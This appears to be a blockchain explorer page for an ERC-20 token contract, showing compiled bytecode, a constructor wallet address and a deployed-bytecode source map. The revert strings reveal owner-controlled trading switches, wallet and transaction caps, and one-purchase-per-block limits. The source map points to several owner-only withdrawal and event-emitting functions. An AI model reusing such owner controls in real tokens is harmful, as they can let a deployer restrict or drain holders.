6139aa8161396e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139e7602083612b2a565b91506139f2826139b1565b602082019050919050565b60006020820190508181036000830152613a16816139da565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a53601d83612b2a565b9150613a5e82613a1d565b602082019050919050565b60006020820190508181036000830152613a8281613a46565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ae5602583612b2a565b9150613af082613a89565b604082019050919050565b60006020820190508181036000830152613b1481613ad8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b77602383612b2a565b9150613b8282613b1b565b604082019050919050565b60006020820190508181036000830152613ba681613b6a565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613be3601683612b2a565b9150613bee82613bad565b602082019050919050565b60006020820190508181036000830152613c1281613bd6565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374695f69734578636c7564656446726f6d466565736f60208201527f6e416d6f756e742e000000000000000000000000000000000000000000000000604082015250565b6000613c9b604883612b2a565b9150613ca682613c19565b606082019050919050565b60006020820190508181036000830152613cca81613c8e565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613d07601383612b2a565b9150613d1282613cd1565b602082019050919050565b60006020820190508181036000830152613d3681613cfa565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d99603683612b2a565b9150613da482613d3d565b604082019050919050565b60006020820190508181036000830152613dc881613d8c565b9050919050565b6000613dda82612c43565b9150613de583612c43565b9250828203905081811115613dfd57613dfc613394565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e5f602183612b2a565b9150613e6a82613e03565b604082019050919050565b60006020820190508181036000830152613e8e81613e52565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ef1602283612b2a565b9150613efc82613e95565b604082019050919050565b60006020820190508181036000830152613f2081613ee4565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613f83602683612b2a565b9150613f8e82613f27565b604082019050919050565b60006020820190508181036000830152613fb281613f76565b9050919050565b7f4f6e6c79206f6e652070757263686173652070657220626c6f636b20616c6c6f60008201527f7765642e00000000000000000000000000000000000000000000000000000000602082015250565b6000614015602483612b2a565b915061402082613fb9565b604082019050919050565b6000602082019050818103600083015261404481614008565b9050919050565b60008151905061405a81612c17565b92915050565b60006020828403121561407657614075612bdb565b5b60006140848482850161404b565b91505092915050565b60006140a86140a361409e84612be5565b612fe0565b612c43565b9050919050565b6140b88161408d565b82525050565b6000819050919050565b60006140e36140de6140d9846140be565b612fe0565b612c43565b9050919050565b6140f3816140c8565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61412e81612c05565b82525050565b60006141408383614125565b60208301905092915050565b6000602082019050919050565b6000614164826140f9565b61416e8185614104565b935061417983614115565b8060005b838110156141aa5781516141918882614134565b975061419c8361414c565b92505060018101905061417d565b5085935050505092915050565b600060a0820190506141cc60008301886140af565b6141d960208301876140ea565b81810360408301526141eb8186614159565b90506141fa60608301856130c7565b6142076080830184612ebf565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061424b82612c43565b915061425683612c43565b92508261426657614265614211565b5b82820490509291505056fea2646970667358221220ad29780e6870778cd88d79b1ea2848bdd2e703771ff168450c7b5b09a35de4b364736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000016543a4c8f4e9eb26d2ca81c81c4bccc9a0320bb

-----Decoded View---------------
Arg [0] : wallet (address): 0x16543a4C8F4E9eb26D2cA81C81c4bCcC9a0320BB

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000016543a4c8f4e9eb26d2ca81c81c4bccc9a0320bb


Deployed Bytecode Sourcemap

163:9318:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;721:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1652:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6994:293:2;;;;;;;;;;;;;:::i;:::-;;2790:287;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1041:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1861:295;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;826:67:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;941:92:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2164:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7380:212:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9384:94;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;242:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;973:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1157:127:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;773:103:5;;;;;;;;;;;;;:::i;:::-;;6488:193:2;;;;;;;;;;;;;:::i;:::-;;2194:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7295:77;;;;;;;;;;;;;:::i;:::-;;6801:185;;;;;;;;;;;;;:::i;:::-;;543:87:5;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;829:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2346:242:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2410:436:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1292:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7827:135:2;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7600:219;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2097:89;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;672:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2008:81;;;;;;;;;;;;;:::i;:::-;;906:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1493:151:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;939:25:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;750:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3085:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1021:201:5;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;605:60:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1011:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;721:100:1;775:13;808:5;801:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;721:100;:::o;1652:201::-;1735:4;1752:13;1768:12;:10;:12::i;:::-;1752:28;;1791:32;1800:5;1807:7;1816:6;1791:8;:32::i;:::-;1841:4;1834:11;;;1652:201;;;;:::o;6994:293:2:-;502:13:5;:11;:13::i;:::-;7052:20:2::1;7090:4;7052:44;;7107:15;7125:13;:23;;;7157:4;7125:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7107:56;;7192:1;7182:7;:11;7174:42;;;;;;;;;;;;:::i;:::-;;;;;;;;;7227:13;:22;;;7258:10;7271:7;7227:52;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7041:246;;6994:293::o:0;2790:287::-;502:13:5;:11;:13::i;:::-;2884:9:2::1;2879:191;2903:8;:15;2899:1;:19;2879:191;;;2991:8;2940:35;:48;2976:8;2985:1;2976:11;;;;;;;;:::i;:::-;;;;;;;;2940:48;;;;;;;;;;;;;;;;:59;;;;;;;;;;;;;;;;;;3036:8;3045:1;3036:11;;;;;;;;:::i;:::-;;;;;;;;3019:39;;;3049:8;3019:39;;;;;;:::i;:::-;;;;;;;;2920:3;;;;;:::i;:::-;;;;2879:191;;;;2790:287:::0;;:::o;1041:108:1:-;1102:7;1129:12;;1122:19;;1041:108;:::o;1861:295::-;1992:4;2009:15;2027:12;:10;:12::i;:::-;2009:30;;2050:38;2066:4;2072:7;2081:6;2050:15;:38::i;:::-;2099:27;2109:4;2115:2;2119:6;2099:9;:27::i;:::-;2144:4;2137:11;;;1861:295;;;;;:::o;826:67:2:-;;;;:::o;941:92:1:-;999:5;1024:1;1017:8;;941:92;:::o;2164:238::-;2252:4;2269:13;2285:12;:10;:12::i;:::-;2269:28;;2308:64;2317:5;2324:7;2361:10;2333:25;2343:5;2350:7;2333:9;:25::i;:::-;:38;;;;:::i;:::-;2308:8;:64::i;:::-;2390:4;2383:11;;;2164:238;;;;:::o;7380:212:2:-;502:13:5;:11;:13::i;:::-;7481:2:2::1;7470:7;:13;;:31;;;;;7499:2;7487:8;:14;;7470:31;7462:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;7548:7;7539:6;:16;;;;7576:8;7566:7;:18;;;;7380:212:::0;;:::o;9384:94::-;502:13:5;:11;:13::i;:::-;9443:27:2::1;9449:12;:10;:12::i;:::-;9463:6;9443:5;:27::i;:::-;9384:94:::0;:::o;242:52::-;;;:::o;973:31::-;;;;;;;;;;;;;:::o;1157:127:1:-;1231:7;1258:9;:18;1268:7;1258:18;;;;;;;;;;;;;;;;1251:25;;1157:127;;;:::o;773:103:5:-;502:13;:11;:13::i;:::-;838:30:::1;865:1;838:18;:30::i;:::-;773:103::o:0;6488:193:2:-;502:13:5;:11;:13::i;:::-;6541:25:2::1;6569:13;:11;:13::i;:::-;6541:41;;6616:17;6593:20;:40;;;;6656:17;6644:9;:29;;;;6530:151;6488:193::o:0;2194:144::-;502:13:5;:11;:13::i;:::-;2326:4:2::1;2284:31;:39;2316:6;2284:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;2194:144:::0;;:::o;7295:77::-;502:13:5;:11;:13::i;:::-;7360:4:2::1;7346:11;;:18;;;;;;;;;;;;;;;;;;7295:77::o:0;6801:185::-;502:13:5;:11;:13::i;:::-;6888:1:2::1;6864:21;:25;6856:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6935:10;6927:28;;:51;6956:21;6927:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;6801:185::o:0;543:87:5:-;589:7;616:6;;;;;;;;;;;609:13;;543:87;:::o;829:104:1:-;885:13;918:7;911:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;829:104;:::o;2346:242:2:-;502:13:5;:11;:13::i;:::-;2453::2::1;;;;;;;;;;;2445:21;;:4;:21;;::::0;2437:91:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2539:41;2568:4;2574:5;2539:28;:41::i;:::-;2346:242:::0;;:::o;2410:436:1:-;2503:4;2520:13;2536:12;:10;:12::i;:::-;2520:28;;2559:24;2586:25;2596:5;2603:7;2586:9;:25::i;:::-;2559:52;;2650:15;2630:16;:35;;2622:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;2743:60;2752:5;2759:7;2787:15;2768:16;:34;2743:8;:60::i;:::-;2834:4;2827:11;;;;2410:436;;;;:::o;1292:193::-;1371:4;1388:13;1404:12;:10;:12::i;:::-;1388:28;;1427;1437:5;1444:2;1448:6;1427:9;:28::i;:::-;1473:4;1466:11;;;1292:193;;;;:::o;7827:135:2:-;502:13:5;:11;:13::i;:::-;7943:10:2::1;:8;:10::i;:::-;7937:2;:16;;;;:::i;:::-;7926:7;:28;;;;:::i;:::-;7905:18;:49;;;;7827:135:::0;:::o;7600:219::-;502:13:5;:11;:13::i;:::-;7693:9:2::1;7688:124;7712:10;;:17;;7708:1;:21;7688:124;;;7780:10;;7791:1;7780:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7756:44;;7765:13;;;;;;;;;;;7756:44;;;7795:4;7756:44;;;;;;:::i;:::-;;;;;;;;7731:3;;;;;:::i;:::-;;;;7688:124;;;;7600:219:::0;;;:::o;2097:89::-;502:13:5;:11;:13::i;:::-;2173:5:2::1;2157:13;;:21;;;;;;;;;;;;;;;;;;2097:89:::0;:::o;672:71::-;;;;:::o;2008:81::-;502:13:5;:11;:13::i;:::-;2077:4:2::1;2063:11;;:18;;;;;;;;;;;;;;;;;;2008:81::o:0;906:26::-;;;;:::o;1493:151:1:-;1582:7;1609:11;:18;1621:5;1609:18;;;;;;;;;;;;;;;:27;1628:7;1609:27;;;;;;;;;;;;;;;;1602:34;;1493:151;;;;:::o;939:25:2:-;;;;:::o;750:69::-;;;;:::o;3085:135::-;3144:4;3168:35;:44;3204:7;3168:44;;;;;;;;;;;;;;;;;;;;;;;;;3161:51;;3085:135;;;:::o;1021:201:5:-;502:13;:11;:13::i;:::-;1130:1:::1;1110:22;;:8;:22;;::::0;1102:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1186:28;1205:8;1186:18;:28::i;:::-;1021:201:::0;:::o;605:60:2:-;;;;:::o;1011:31::-;;;;;;;;;;;;;:::o;95:98:0:-;148:7;175:10;168:17;;95:98;:::o;4481:380:1:-;4634:1;4617:19;;:5;:19;;;4609:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4715:1;4696:21;;:7;:21;;;4688:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4799:6;4769:11;:18;4781:5;4769:18;;;;;;;;;;;;;;;:27;4788:7;4769:27;;;;;;;;;;;;;;;:36;;;;4837:7;4821:32;;4830:5;4821:32;;;4846:6;4821:32;;;;;;:::i;:::-;;;;;;;;4481:380;;;:::o;638:127:5:-;708:12;:10;:12::i;:::-;697:23;;:7;:5;:7::i;:::-;:23;;;689:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;638:127::o;4869:453:1:-;5004:24;5031:25;5041:5;5048:7;5031:9;:25::i;:::-;5004:52;;5091:17;5071:16;:37;5067:248;;5153:6;5133:16;:26;;5125:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5237:51;5246:5;5253:7;5281:6;5262:16;:25;5237:8;:51::i;:::-;5067:248;4993:329;4869:453;;;:::o;3228:2589:2:-;3344:1;3328:18;;:4;:18;;;3320:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3421:1;3407:16;;:2;:16;;;3399:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3491:12;3474:14;:29;;;;3528:1;3518:6;:11;3514:93;;3546:28;3562:4;3568:2;3572:1;3546:15;:28::i;:::-;3589:7;;3514:93;3637:7;:5;:7::i;:::-;3629:15;;:4;:15;;;;:32;;;;;3654:7;:5;:7::i;:::-;3648:13;;:2;:13;;;;3629:32;:52;;;;;3679:1;3665:16;;:2;:16;;;;3629:52;:77;;;;;3699:6;3685:21;;:2;:21;;;;3629:77;:90;;;;;3711:8;;;;;;;;;;;3710:9;3629:90;3625:1002;;;3747:11;;;;;;;;;;;3742:180;;3791:35;:41;3827:4;3791:41;;;;;;;;;;;;;;;;;;;;;;;;;:84;;;;3836:35;:39;3872:2;3836:39;;;;;;;;;;;;;;;;;;;;;;;;;3791:84;3783:119;;;;;;;;;;;;:::i;:::-;;;;;;;;;3742:180;3971:14;;3940:22;:28;3963:4;3940:28;;;;;;;;;;;;;;;:45;;;;4008:25;:31;4034:4;4008:31;;;;;;;;;;;;;;;;;;;;;;;;;:71;;;;;4044:31;:35;4076:2;4044:35;;;;;;;;;;;;;;;;;;;;;;;;;4043:36;4008:71;4004:607;;;4140:20;;4130:6;:30;;4122:115;;;;;;;;;;;;:::i;:::-;;;;;;;;;4294:9;;4277:13;4287:2;4277:9;:13::i;:::-;4268:6;:22;;;;:::i;:::-;:35;;4260:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4004:607;;;4376:25;:29;4402:2;4376:29;;;;;;;;;;;;;;;;;;;;;;;;;:71;;;;;4410:31;:37;4442:4;4410:37;;;;;;;;;;;;;;;;;;;;;;;;;4409:38;4376:71;4372:239;;;4512:20;;4502:6;:30;;4494:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;4372:239;4004:607;3625:1002;4639:28;4670:24;4688:4;4670:9;:24::i;:::-;4639:55;;4707:12;4745:1;4722:20;:24;4707:39;;4763:7;:22;;;;;4774:11;;;;;;;;;;;4763:22;:35;;;;;4790:8;;;;;;;;;;;4789:9;4763:35;:71;;;;;4803:25;:31;4829:4;4803:31;;;;;;;;;;;;;;;;;;;;;;;;;4802:32;4763:71;:117;;;;;4839:35;:41;4875:4;4839:41;;;;;;;;;;;;;;;;;;;;;;;;;4838:42;4763:117;:161;;;;;4885:35;:39;4921:2;4885:39;;;;;;;;;;;;;;;;;;;;;;;;;4884:40;4763:161;4759:271;;;4952:4;4941:8;;:15;;;;;;;;;;;;;;;;;;4971:16;4980:6;4971:8;:16::i;:::-;5013:5;5002:8;;:16;;;;;;;;;;;;;;;;;;4759:271;5043:35;:41;5079:4;5043:41;;;;;;;;;;;;;;;;;;;;;;;;;:91;;;;;5106:22;:28;5129:4;5106:28;;;;;;;;;;;;;;;;5088:14;;:46;;5043:91;5040:161;;;5154:31;5179:4;5154:16;:31::i;:::-;5040:161;5211:12;5226:8;;;;;;;;;;;5211:23;;5249:35;:41;5285:4;5249:41;;;;;;;;;;;;;;;;;;;;;;;;;:84;;;;5294:35;:39;5330:2;5294:39;;;;;;;;;;;;;;;;;;;;;;;;;5249:84;5245:132;;;5360:5;5350:15;;5245:132;5389:12;5422:7;5418:348;;;5450:25;:29;5476:2;5450:29;;;;;;;;;;;;;;;;;;;;;;;;;5446:193;;;5507:28;5531:3;5507:19;5518:7;;5507:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;5500:35;;5446:193;;;5596:27;5619:3;5596:18;5607:6;;5596;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;5589:34;;5446:193;5662:1;5655:4;:8;5651:83;;;5680:42;5696:4;5710;5717;5680:15;:42::i;:::-;5651:83;5754:4;5744:14;;;;;:::i;:::-;;;5418:348;5776:33;5792:4;5798:2;5802:6;5776:15;:33::i;:::-;3307:2510;;;;3228:2589;;;;:::o;3980:493:1:-;4083:1;4064:21;;:7;:21;;;4056:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4140:22;4165:9;:18;4175:7;4165:18;;;;;;;;;;;;;;;;4140:43;;4220:6;4202:14;:24;;4194:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;4314:6;4303:8;;:17;;;;:::i;:::-;4282:9;:18;4292:7;4282:18;;;;;;;;;;;;;;;:38;;;;4347:6;4331:12;;:22;;;;;;;:::i;:::-;;;;;;;;4395:1;4369:37;;4378:7;4369:37;;;4399:6;4369:37;;;;;;:::i;:::-;;;;;;;;4417:48;4437:7;4454:1;4458:6;4417:19;:48::i;:::-;4045:428;3980:493;;:::o;1230:191:5:-;1304:16;1323:6;;;;;;;;;;;1304:25;;1349:8;1340:6;;:17;;;;;;;;;;;;;;;;;;1404:8;1373:40;;1394:8;1373:40;;;;;;;;;;;;1293:128;1230:191;:::o;2596:186:2:-;2713:5;2679:25;:31;2705:4;2679:31;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;2768:5;2734:40;;2762:4;2734:40;;;;;;;;;;;;2596:186;;:::o;888:125:5:-;931:7;951:14;968:13;:11;:13::i;:::-;951:30;;999:6;992:13;;;888:125;:::o;2854:675:1:-;3001:1;2985:18;;:4;:18;;;2977:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3078:1;3064:16;;:2;:16;;;3056:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3133:38;3154:4;3160:2;3164:6;3133:20;:38::i;:::-;3184:19;3206:9;:15;3216:4;3206:15;;;;;;;;;;;;;;;;3184:37;;3255:6;3240:11;:21;;3232:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;3372:6;3358:11;:20;3340:9;:15;3350:4;3340:15;;;;;;;;;;;;;;;:38;;;;3410:6;3393:9;:13;3403:2;3393:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;3460:2;3445:26;;3454:4;3445:26;;;3464:6;3445:26;;;;;;:::i;:::-;;;;;;;;3484:37;3504:4;3510:2;3514:6;3484:19;:37::i;:::-;2966:563;2854:675;;;:::o;7974:1402:2:-;8027:23;8053:24;8071:4;8053:9;:24::i;:::-;8027:50;;8088:20;8145:1;8126:15;:20;8122:59;;8163:7;;;;8122:59;8213:1;8201:7;;8194:6;;:14;;;;:::i;:::-;8193:21;8189:1130;;8250:1;8232:15;:19;:59;;;;;8273:18;;8255:15;:36;8232:59;8229:443;;;8323:15;8308:30;;8229:443;;;8380:21;8404:28;8428:3;8404:19;8415:7;;8404:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;8380:52;;8457:13;8447:23;;;;;:::i;:::-;;;8498:18;;8489:6;:27;8485:176;;;8552:18;;8537:33;;8485:176;;;8639:6;8624:21;;8485:176;8365:307;8229:443;8189:1130;;;8726:1;8708:15;:19;:66;;;;;8749:25;8772:1;8749:18;;:22;;:25;;;;:::i;:::-;8731:15;:43;8708:66;8705:607;;;8791:7;;;;8705:607;8846:1;8828:15;:19;:66;;;;;8869:25;8892:1;8869:18;;:22;;:25;;;;:::i;:::-;8851:15;:43;8828:66;:106;;;;;8916:18;;8898:15;:36;8828:106;8824:488;;;8966:25;8989:1;8966:18;;:22;;:25;;;;:::i;:::-;8951:40;;8824:488;;;9033:21;9057:28;9081:3;9057:19;9068:7;;9057:6;:10;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;9033:52;;9110:13;9100:23;;;;;:::i;:::-;;;9151:18;;9142:6;:27;9138:163;;;9205:18;;9190:33;;9138:163;;;9279:6;9264:21;;9138:163;9018:294;8824:488;8189:1130;9329:39;9354:12;9329:16;:39::i;:::-;8016:1360;;7974:1402;;:::o;5825:651::-;5897:35;:51;5941:5;5897:51;;;;;;;;;;;;;;;;;;;;;;;;;5894:168;;;5972:49;5982:22;:38;6013:5;5982:38;;;;;;;;;;;;;;;;5972:9;:49::i;:::-;5964:98;;;;;;;;;;;;:::i;:::-;;;;;;;;;5894:168;6074:21;6112:1;6098:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6074:40;;6143:4;6125;6130:1;6125:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;6169:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6159:4;6164:1;6159:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;6205:57;6222:4;6237:16;6256:5;6205:57;;:8;:57::i;:::-;6275:16;:67;;;6357:5;6377:1;6393:4;6412:15;;;;;;;;;;;6442;6275:193;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5874:602;5825:651;:::o;1416:98:6:-;1474:7;1505:1;1501;:5;;;;:::i;:::-;1494:12;;1416:98;;;;:::o;1522:::-;1580:7;1611:1;1607;:5;;;;:::i;:::-;1600:12;;1522:98;;;;:::o;5463:124:1:-;;;;:::o;1429:119:5:-;1474:7;1516:1;1500:18;;:6;;;;;;;;;;;:18;;;:40;;1534:6;;;;;;;;;;;1500:40;;;1521:10;;;;;;;;;;;1500:40;1493:47;;1429:119;:::o;5330:125:1:-;;;;:::o;6689:104:2:-;6743:4;6773:12;6766:4;:19;6759:26;;6689:104;;;:::o;7:99:8:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:117::-;3555:1;3552;3545:12;3569:180;3617:77;3614:1;3607:88;3714:4;3711:1;3704:15;3738:4;3735:1;3728:15;3755:281;3838:27;3860:4;3838:27;:::i;:::-;3830:6;3826:40;3968:6;3956:10;3953:22;3932:18;3920:10;3917:34;3914:62;3911:88;;;3979:18;;:::i;:::-;3911:88;4019:10;4015:2;4008:22;3798:238;3755:281;;:::o;4042:129::-;4076:6;4103:20;;:::i;:::-;4093:30;;4132:33;4160:4;4152:6;4132:33;:::i;:::-;4042:129;;;:::o;4177:311::-;4254:4;4344:18;4336:6;4333:30;4330:56;;;4366:18;;:::i;:::-;4330:56;4416:4;4408:6;4404:17;4396:25;;4476:4;4470;4466:15;4458:23;;4177:311;;;:::o;4494:117::-;4603:1;4600;4593:12;4634:710;4730:5;4755:81;4771:64;4828:6;4771:64;:::i;:::-;4755:81;:::i;:::-;4746:90;;4856:5;4885:6;4878:5;4871:21;4919:4;4912:5;4908:16;4901:23;;4972:4;4964:6;4960:17;4952:6;4948:30;5001:3;4993:6;4990:15;4987:122;;;5020:79;;:::i;:::-;4987:122;5135:6;5118:220;5152:6;5147:3;5144:15;5118:220;;;5227:3;5256:37;5289:3;5277:10;5256:37;:::i;:::-;5251:3;5244:50;5323:4;5318:3;5314:14;5307:21;;5194:144;5178:4;5173: